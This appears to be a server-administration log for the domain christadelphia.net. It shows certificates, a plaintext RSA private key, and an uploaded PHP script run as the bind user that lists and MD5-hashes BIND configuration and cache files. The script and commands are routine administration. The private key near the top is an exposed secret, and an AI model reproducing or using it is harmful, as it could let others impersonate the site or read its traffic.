EwNSMTIwHhcNMjYwNDE4MTE0NDM0WhcNMjYwNzE3MTE0NDMzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCYNjkL1FWxhMnSHzsRcKJFJTf0kMmVZbL9p7VrsiolTCs/MKrAxAIM6UBr
FE0SrcPpTkZPipgR296UrJOD3KJJdCcjHoxRNpzuLPY84IGPL8PIWqk5kRh6/Oos
UWmKyemC8jyrrMilT3ejWlHVgHCQyKGm5y0+dcjBUwA7MhbcKIki4cnJuGkY/1aT
31mHY3JNd445QS4tjpt6sMg+RlI39lNT62/MzlpwZNgmDtW/Mf1qZhi0jgxJYsS2
rN3XXFSXCeu3IjVOnCxkjesz4KpdZcTLb5fCxCRTmVxEP5x9wWh7uAc0mB+wQTXs
jCiyXmi9SX9BH4Ln/NjBe4p7Rif1AgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
XULtP/iZQIc1/iUlaqfSM5dLp8IwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMDkuY3JsMIIBDgYKKwYB
BAHWeQIEAgSB/wSB/AD6AHcAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkd
z5oAAAGdoJ27ogAABAMASDBGAiEA4yNbL/1YlCSUggvBrd+wvRRs+UMecODj0tsh
s6cwG6gCIQD1WYk1yVK3SZ9wB3jeMRhHofooDL5fpOrVLJ7QA62GvQB/AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnaCdvZkACAAABQAHXNWvBAMA
SDBGAiEA1wa1cenql01DRh0IDje7Fj6LsEUBr24LG49TlGZgXXwCIQD6mTD+VFM3
gXybuoPf+ARA9Ent6j+Ix3B8/IW99lpMNzANBgkqhkiG9w0BAQsFAAOCAQEAgPMj
3KopkO1kKnWXFlv0Tbld9QGf8qkER8S99ur3QHBXye15njf2QSdiRXZgnrBZPYUf
T88482qVrBDuEvIqV1YdIwOK5sdJd84ymItHJyxvUkhX2RCR/PwfPssAxUOoC0vL
+ExgdKbj/TRc3bpnZwC7wE99bP2KtfbUbSS/DiZDsRa6lDGkXxF7k8bFCSdLdTr/
Glvmf4R6YdKYp7SZKZKM+Zn77m7WlAylVHUiwS4XtZ1hWNZJq4HZq4xwrjMfqDxA
5/66I74Y5I/oKAQOzVM7tZkAmvgBtxqCIQFkn42zAgZ8ZxFluzIY/YuR2RLJx+0m
qSF2xy/BlfbJYftWUg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCYNjkL1FWxhMnS
HzsRcKJFJTf0kMmVZbL9p7VrsiolTCs/MKrAxAIM6UBrFE0SrcPpTkZPipgR296U
rJOD3KJJdCcjHoxRNpzuLPY84IGPL8PIWqk5kRh6/OosUWmKyemC8jyrrMilT3ej
WlHVgHCQyKGm5y0+dcjBUwA7MhbcKIki4cnJuGkY/1aT31mHY3JNd445QS4tjpt6
sMg+RlI39lNT62/MzlpwZNgmDtW/Mf1qZhi0jgxJYsS2rN3XXFSXCeu3IjVOnCxk
jesz4KpdZcTLb5fCxCRTmVxEP5x9wWh7uAc0mB+wQTXsjCiyXmi9SX9BH4Ln/NjB
e4p7Rif1AgMBAAECggEABuStwLNlDh0NZs6zRh7rumXtGs5T0shASuyFctMmxXml
m78AfKpjzWHi4PaSZv4nmTFKTd/g8y4Z7nHCXH5pexofi5+eiy8F/GNc43TnaSyo
mTJB57GCgk9h64/kT7zFLoD57mxsyc/Hg0Zb3mdqsaPkbkKZ8fIznU28/PFPx7ic
WhhGoIHMIQU8IQt4fqxwe59KO4vmhyn8ZhIlVLj1v2APgDY/+hsmHtvwgLHnZVqQ
yelcxAONJxwIdaZxFNmqQ3XLvhX4/9nH5qeNQ0sGu3m1jeR5CIMnw59SOP+/3rgW
OfbI7JpigdMzLuWNhOwatuchXZk1Qd8IUJuqXIKFIQKBgQDLYFOJeXajeZYigj0h
Xtv6diHfyce/t+qUetSOoLhbFAeljfzqA//UgiIheK30Mw7yu8JYLokznGtjWylP
h8pqr/5X3b0fs4io2r2qxeFXAicJ3Ul2BcMpNBEVp1bWZYQYZNZnmzsb6RbR924M
qtE+95QhftSbEScWU9c8VO/U4wKBgQC/mMFAPvg6ryn3frFEZNNxoCbx0D04X4P6
kvYnFROeGRS6K49IV19oxsBagQJW6oBbB3e0VE9Ex8Zs8VgxkDITjVYrUgBrW1qb
pteBC/0UsXXX8h1BDK+IryMHGlL2h1Zq0tOS4ukqvxVB9x/MdoF2y8J0Hzlom9AM
+3GtW7z/RwKBgQC24rp8Z6POQepGwgOi3KDIzC6OBfAAca0bNJGsaM8f6BUwRUzo
TAxk11lF7DXR4ZBRq5KKpd5vcPwI7tNpV10pL3ZzIU2PEm2UGpBw311SVvcwIbSL
04a6qL2sUTz/s25kWVmM9cTjxmnlCrIF5h4gl5a3wEwD3hreMyrccCzzrQKBgEk9
P0Irz/++zbAKAgE++YTJz5lIHN7bxDuYyfeOmv0oYT/5PsBMhfAraYQvJJHM+lvR
svR/9f040KT8bNYlZL8MnA/bPMXNGgm98UsnJgsu+vkdWAlxq/f32s/wRB5xBZu4
E6BmlPL+MEYTDVi/RCYBJcf116AhT5pm08GM++YpAoGAc5yjcU/cVVdy9c0lNwM7
BWY87beIbLDvpOViViGRET82VeCS9F+uQPYPGHDL6rfdl24K5QiWH1qp+xpSCFx8
6AwR2jXre1PJ7zwp3rJXnXXih7k53TrBIp2uiosPe3ePlYbgvSLlsmkiiU7xGNjm
fXg/shagLOXi+7tcD8Liv9g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-18 13:05:32: Establishing a connection
2026-04-18 13:06:14: Establishing a connection
2026-04-18 13:06:47: Establishing a connection
2026-04-18 13:06:47: 

PUT: /tmp/pkp225513

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-18 13:06:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp225513; rm /tmp/pkp225513'

2026-04-18 13:06:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
